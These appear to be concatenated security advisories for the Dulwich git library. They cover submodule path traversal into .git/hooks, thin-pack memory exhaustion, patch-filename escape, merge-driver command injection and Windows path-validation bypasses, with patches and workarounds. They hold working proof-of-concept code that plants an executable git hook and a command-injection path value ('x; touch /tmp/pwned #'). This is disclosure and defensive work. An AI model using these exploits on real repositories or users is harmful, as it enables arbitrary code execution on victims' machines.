The submodule path from the tree's gitlink entry (and matching .gitmodules) is consumed without validation in dulwich/porcelain/submodule.py.

The attacker-controlled path enters the loop from iter_cached_submodules (submodule.py#L154-L168):

for path, target_sha in submodules_to_update:
    path_str = (
        path.decode(DEFAULT_ENCODING) if isinstance(path, bytes) else path
    )

    submodule_name: bytes | None = None
    for sm_path, sm_url, sm_name in read_submodules(gitmodules_path):
        if sm_path == path:
            submodule_name = sm_name
            break

    if not submodule_name:
        continue

It flows unchecked into os.path.join and the filesystem (submodule.py#L187-L188):

            submodule_path = os.path.join(r.path, path_str)
            submodule_git_dir = os.path.join(r.controldir(), "modules", path_str)

Finally, the attacker tree's contents are materialized into that directory via build_index_from_tree with no validate_path_element argument, defaulting to the lax validator (submodule.py#L229-L234):

                    build_index_from_tree(
                        submodule_path,
                        sub_repo.index_path(),
                        sub_repo.object_store,
                        tree_id,
                    )

Three issues compound:

1. path_str originates from the parent repository's tree gitlink entry (attacker-controlled) and is never validated against .git, .., or other path-traversal patterns. The same value is read from the attacker-supplied .gitmodules blob via read_submodules, which also performs no validation.
2. submodule_path = os.path.join(r.path, path_str) therefore resolves to an attacker-chosen directory anywhere on disk (e.g. <worktree>/.git/hooks).
3. build_index_from_tree is called without validate_path_element, so it defaults to validate_path_element_default, which only rejects literal .git, ., and ... It does not refuse a root_path that is itself inside the parent's .git directory, and it honors the attacker tree's file modes including executable bits (0o100755).

Reachability

A direct production call path from a user invocation: porcelain.clone(source, target, recurse_submodules=True) at dulwich/porcelain/__init__.py:1548-1551 calls submodule_update(repo, init=True, recursive=True) once the parent clone completes, reaching the unsanitized loop at submodule.py#L154-L234.

The CLI command dulwich clone --recurse-submodules <url> reaches the same sink via dulwich/cli.py:2131.

Any service that exposes porcelain.clone(..., recurse_submodules=True) on attacker-supplied URLs is exposed: CI runners, repository import tools, package resolvers that use dulwich as a pure-Python git, and language-server "fetch dependency from git" features.

Proof of concept

End-to-end against pip-installed dulwich==1.2.4, demonstrating both the path-traversal primitive and the resulting code execution when the victim subsequently runs git. The payload writes a marker file rather than performing any destructive action.

import os, tempfile, subprocess
import dulwich.repo as r
import dulwich.porcelain as p
from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-")
ATTACKER = os.path.join(WORKDIR, "att.git")
VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git")
VICTIM_WT = os.path.join(WORKDIR, "vic_wt")
MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout"
# with mode 0755 and a benign shell payload that writes a marker file.
attacker = r.Repo.init_bare(ATTACKER, mkdir=True)
payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n"
pb = Blob.from_string(payload)
attacker.object_store.add_object(pb)
at = Tree()
at.add(b"post-checkout", 0o100755, pb.id)
attacker.object_store.add_object(at)
ac = Commit()
ac.tree = at.id
ac.author = ac.committer = b"a <a@a>"
ac.author_time = ac.commit_time = 0
ac.author_timezone = ac.commit_timezone = 0
ac.message = b"x"
attacker.object_store.add_object(ac)
attacker.refs[b"refs/heads/master"] = ac.id
attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at
# path ".git/hooks". The gitlink targets the attacker submodule commit.
victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True)
gitmod = (
    b'[submodule "evil"]\n'
    b'\tpath = .git/hooks\n'
    b'\turl = ' + ATTACKER.encode() + b'\n'
)
gmb = Blob.from_string(gitmod)
victim.object_store.add_object(gmb)
vt = Tree()
vt.add(b".gitmodules", 0o100644, gmb.id)
vt.add(b".git/hooks", 0o160000, ac.id)
victim.object_store.add_object(vt)
vc = Commit()
vc.tree = vt.id
vc.author = vc.committer = b"a <a@a>"
vc.author_time = vc.commit_time = 0
vc.author_timezone = vc.commit_timezone = 0
vc.message = b"v"
victim.object_store.add_object(vc)
victim.refs[b"refs/heads/master"] = vc.id
victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True
p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout")
assert os.path.exists(hook), "hook was not written"
assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook
subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True,
               capture_output=True)
assert os.path.exists(MARKER), "hook did not fire"
print("Code execution confirmed:", open(MARKER).read().strip())

The trigger surface is broader than this proof of concept: the dropped file fires for any matching hook name (post-checkout, pre-commit, post-merge, post-rewrite, post-applypatch, and others). dulwich itself executes several hooks (pre-commit, commit-msg, post-commit, pre-receive, update, post-receive; see dulwich/hooks.py and dulwich/repo.py), so a victim using only dulwich is also reachable without upstream Git.

Credit

tonghuaroot

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) - for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

• Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
• Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.

Resources

• git's receive.maxInputSize / git index-pack --max-input-size documentation
• Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @ University of Sydney

Impact

dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, ), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch").

A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples:

• x/../../x produced /0001-x/../../x.patch, resolving two directories above outdir.
• x....\x produced the equivalent escape on Windows, here \ is also a path separator.

Related issues from the same root cause:

• Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded.
• Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them.

Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade.

dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only [A-Za-z0-9._] are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject.

Workarounds

Until upgrading, callers that pass untrusted commits to porcelain.format_patch can:

• Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename.
• Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir.
• Pre-screen commits and refuse to format any whose subject's first line contains /, , .., or other characters that are not safe on the target filesystem.

Resources

• Fix commit: https://github.com/jelmer/dulwich/commit/c2446e51b
• Affected API: dulwich.porcelain.format_patch / dulwich format-patch
• Reference behavior: git's format_sanitized_subject in pretty.c

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

• Type: Command Injection
• Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
• Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
• Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

• Repository: https://github.com/dulwich/dulwich
• Vulnerable file: dulwich/merge_drivers.py (lines 119–129)

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

• \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
• : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
• git~ — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

• Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
• Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
• Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.

Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources

• Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
• CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
• CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Summary

dulwich.porcelain.submodule_update, and by extension porcelain.clone(..., recurse_submodules=True), materializes attacker-controlled submodule paths from a crafted upstream repository without path validation. A malicious .gitmodules plus a matching tree gitlink whose path is .git/hooks (or any other directory inside the parent repository's .git directory) causes the attacker's submodule tree contents to be written directly into the victim's .git/hooks/ directory, preserving executable mode bits. The dropped executables are then run by any subsequent git or dulwich command that invokes the matching hook, resulting in arbitrary code execution.

This is the dulwich equivalent of the upstream Git fixes for CVE-2024-32002 / CVE-2024-32004, which were never propagated into dulwich's separately implemented submodule porcelain.